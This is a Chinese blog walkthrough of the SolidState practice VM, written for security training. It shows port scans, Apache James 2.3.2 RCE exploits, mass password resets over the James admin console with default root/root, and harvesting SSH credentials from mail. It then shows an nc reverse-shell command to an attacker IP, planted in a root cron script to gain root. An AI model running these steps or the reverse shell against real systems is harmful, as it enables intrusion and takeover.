SolidState通关手册---靶机练习

SolidState靶机训练

声明
B 站UP主泷羽sec

笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵‍♂️ 个人主页: ***@One_Blanks***
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

  • 关注公众号:泷羽Sec-Blanks

X

带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。

目录

  • SolidState靶机训练
    • X
      • 一、主机发现+信息收集
        • 端口扫描
        • 服务信息收集
        • 脚本扫描
      • 二、开始渗透
        • 80端口(突破面大,很重要,先看)
        • EXP利用
        • 进入smtp协议命令
        • 连接POP3服务并查看敏感信息
      • 三、获得初始权限
      • 四、提权
        • 那就使用命令找一下密码痕迹
        • 再看一下特权程序
        • 用户价值文件探寻
        • cron计划任务

一、主机发现+信息收集

nmap -sn 192.168.25.0/24

export ip=192.168.25.141

端口扫描

nmap --min-rate 10000 -p- $ip

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

服务信息收集

nmap -sT -sV -O -p22,25,80,110,119,4555 $ip

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp   open  smtp        JAMES smtpd 2.3.2
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
MAC Address: 00:0C:29:CB:22:67 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
脚本扫描

nmap --script=vuln -p22,25,80,110,119,4555 $ip

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.25.141:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=S%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/ie/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/ie/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/ie/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/ie/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.25.141:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.25.141:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.25.141
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.25.141:80/
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.25.141:80/index.html
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.25.141:80/about.html
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.25.141:80/services.html
|     Form id: name
|_    Form action: #
| http-enum: 
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip
MAC Address: 00:0C:29:CB:22:67 (VMware)

看到信息查到80端口的web 服务器可能存在sql注入

二、开始渗透

80端口(突破面大,很重要,先看)

http://192.168.25.141:80/assets/?C=M%3BO%3DA%27%20OR%20sqlspider

不是sql注入,是一个文件泄露,里面有js文件

在这里插入图片描述

那就还回归到原始路径

先扫一下网站目录

gobuster dir -u http://192.168.25.141/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/images               (Status: 301) [Size: 317] [--> http://192.168.25.141/images/]
/assets               (Status: 301) [Size: 317] [--> http://192.168.25.141/assets/]
/server-status        (Status: 403) [Size: 302]

再用另一个工具扫一遍

dirb http://192.168.25.141/

services.html about.html

http://192.168.25.141/services.html

发现web服务都是些展示页面没有什么功能可注入点,既然如此我们就尝试其他服务

EXP利用

根据信息收集我们发现服务版本中出现最多的信息就是JAMES

searchsploit JAMES

在这里插入图片描述

存在几个EXP,版本2.3.2,一切都是这么巧

我们重点关注RCE,也就是中间两个,将这两个都下载下来

searchsploit -m 35513

searchsploit -m 50347

改一下名字,方便继续操作使用

mv 35513.py 1.py

mv 50347.py 2.py

在这里插入图片描述

先看2.py

需要python3环境,我们这里直接使用python 就行

python 2.py 192.168.25.141 192.168.25.132 4444

在这里插入图片描述

这里需要对面有用户登录我们才可以触发这块,首先就是想着对面有无计划定时任务

等了一会儿发现啥都没。。

那我们看一下这个EXP吧

这里是使用了 James Remote Administration Tool的默认用户root,root,既然执行成功,那这个用户肯定是没问题的我们去登录一下

在这里插入图片描述

nc 192.168.25.141 4555

直接使用nc登录

在这里插入图片描述

登录成功

进入smtp协议命令

smtp协议命令

help

help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

我们都尝试输入一下

listusers 用户列表

Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin

addusers [user] [password] 添加用户

addusers mini mini

adduser mini mini
User mini added
listusers
Existing accounts 7
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
user: mini

setpassword [user] [password] 修改密码

我们这里直接都修改了,后面到pop3去挨个看

setpassword james root
Password for james reset
setpassword ../../../../../../../../etc/bash_completion.d root
Password for ../../../../../../../../etc/bash_completion.d reset
setpassword thomas root
Password for thomas reset
setpassword john root
Password for john reset
setpassword mindy root
Password for mindy reset
setpassword mailadmin root
Password for mailadmin reset

这里所有用户的密码都修改为了root

quit 退出

连接POP3服务并查看敏感信息

telnet 192.168.25.141 110 使用telnet命令连接POP3服务,并登录

user james

pass root
在这里插入图片描述

登入进入使用list 进行查看邮件,没有退出,然后就一个一个试

在这里插入图片描述

…/…/…/…/…/…/…/…/etc/bash_completion.d 用户发现邮件

使用 retr命令读取

retr 1

在这里插入图片描述

这是我们利用EXP创建的用户而构建的

thomas 用户 无

john 用户 1份 无价值信息

在这里插入图片描述

mindy 用户

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

发现用户和密码

mindy P@55W0rd1!2@

mailadmin 用户无

三、获得初始权限

得到密码直接去尝试ssh服务

这里我们登录发现出错了,想到应该是上面的EXP触发了(有人登录就会触发)

返回我们的监听终端(nc -nvlp 4444)没开的记得开一下

在这里插入图片描述

在这里插入图片描述

四、提权

whoami

id

ip addr

echo $SHELL

echo $PATH

uname -a

ls

cat user.txt

914d0a4ebc1777889b5b89a23f556fd75

是一串加密内容

在这里插入图片描述

使用工具辨别一下这串密码是什么加密 无

hash-identifier 914d0a4ebc1777889b5b89a23f556fd75

那就使用命令找一下密码痕迹

grep -R -i pass /home/* 2>/dev/null

再看一下特权程序

find / -perm -u=s -ls 2>/dev/null

查看特权程序,发现不少可以提权的命令

在这里插入图片描述

在GTFOBins搜索提权命令

https://gtfobins.github.io

如 mount

sudo mount -o bind /bin/sh /bin/mount

sudo mount

但是我们没有sudo命令就很难受

用户价值文件探寻

ls -la /home/

find /home/james/ -type f -ls 2>/dev/null

cron计划任务

find /var/spool/cron/ -type f -ls 2>/dev/null

find /etc/cron -type f -ls 2>/dev/null
在这里插入图片描述

没有可write的计划任务

find / -perm -0006 -type f ! -path “/proc/*” 2>/dev/null

从根目录 / 开始查找文件系统中所有普通文件,这些文件的权限至少包含读写权限(即 0006),并且排除 /proc/ 目录下的文件

  • find:是一个用于在文件系统中查找文件和目录的命令。

  • /:表示从根目录开始查找,这是查找的起始位置。

  • -perm -0006

    • -perm 用于根据文件权限进行查找。
    • -0006 表示查找权限中包含 0006 权限的文件,这里的权限是用八进制表示的。数字 6 对应的权限是 rw-,即文件具有读写权限。- 符号表示要查找的文件的权限至少包含这些权限。也就是说,文件的权限可能比 0006 多,但必须至少包含读写权限。
  • -type f:表示只查找文件类型为普通文件的文件,而不查找目录、符号链接等其他类型的文件。

    ! -path "/proc/*"

    • ! 表示取反操作。
    • -path "/proc/*" 是对文件路径的匹配,该条件会排除 /proc/ 目录下的文件。/proc/ 是一个特殊的文件系统,其中包含了许多系统进程的信息,通常不是用户需要查找的文件。

发现/opt/tmp.py文件

在这里插入图片描述

在这里插入图片描述

这是一个清理临时文件的定时脚本,我们看一下权限

OK,找到了

在这里插入图片描述

os.system(‘nc -nv 192.168.25.132 4445 -e /bin/bash &’)

替换执行任务,反弹shell命令

这里是反弹shell的交互模式,我们这里使用sed流文本编辑器

sed -i 's/\(rm -r \/tmp\/*\)/\(nc -nv 192.168.25.132 4445 -e \/bin\/bash &\)/g' tmp.py

-i 直接在文本中编辑保存

s 表示替换操作

g 表示全局替换,替换所有出现”os.system('rm -r /tmp/* ')“的文本

()括号前加一个 \ 号表示转义,否则报错

在这里插入图片描述

当前目录下sed还没有权限进行执行

那就只能vi了,我们换一下连接模式用ssh连一下

我们没开监听所以执行EXP报错,并且直接连上了ssh

在这里插入图片描述
在这里插入图片描述

好好好,在ssh下的我们什么命令都执行不了的

还是回去刚刚的监听搞个pty环境

python -c ‘import pty; pty.spawn("/bin/bash")’

在这里插入图片描述

在这里插入图片描述

可能有点怪这个编辑模式,我们先把这个文件文本留下来,然后清空

将修改后的文本再粘贴上去

#!/usr/bin/env python
import os
import sys
try:
     os.system('nc -nv 192.168.25.132 4445 -e /bin/bash &')
except:
     sys.exit()

先清空 echo > tmp.py

cat 一下看看是否成功清空

在这里插入图片描述

然后vi tmp.py

输入 i 进入编写模式,然后粘贴改后内容
在这里插入图片描述

emm,差不多这个样子好怪,但是内容没问题

在这里插入图片描述

我们开一下监听并且等待连接

nc -nvlp 4555

在这里插入图片描述

成功连接,且是root权限

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值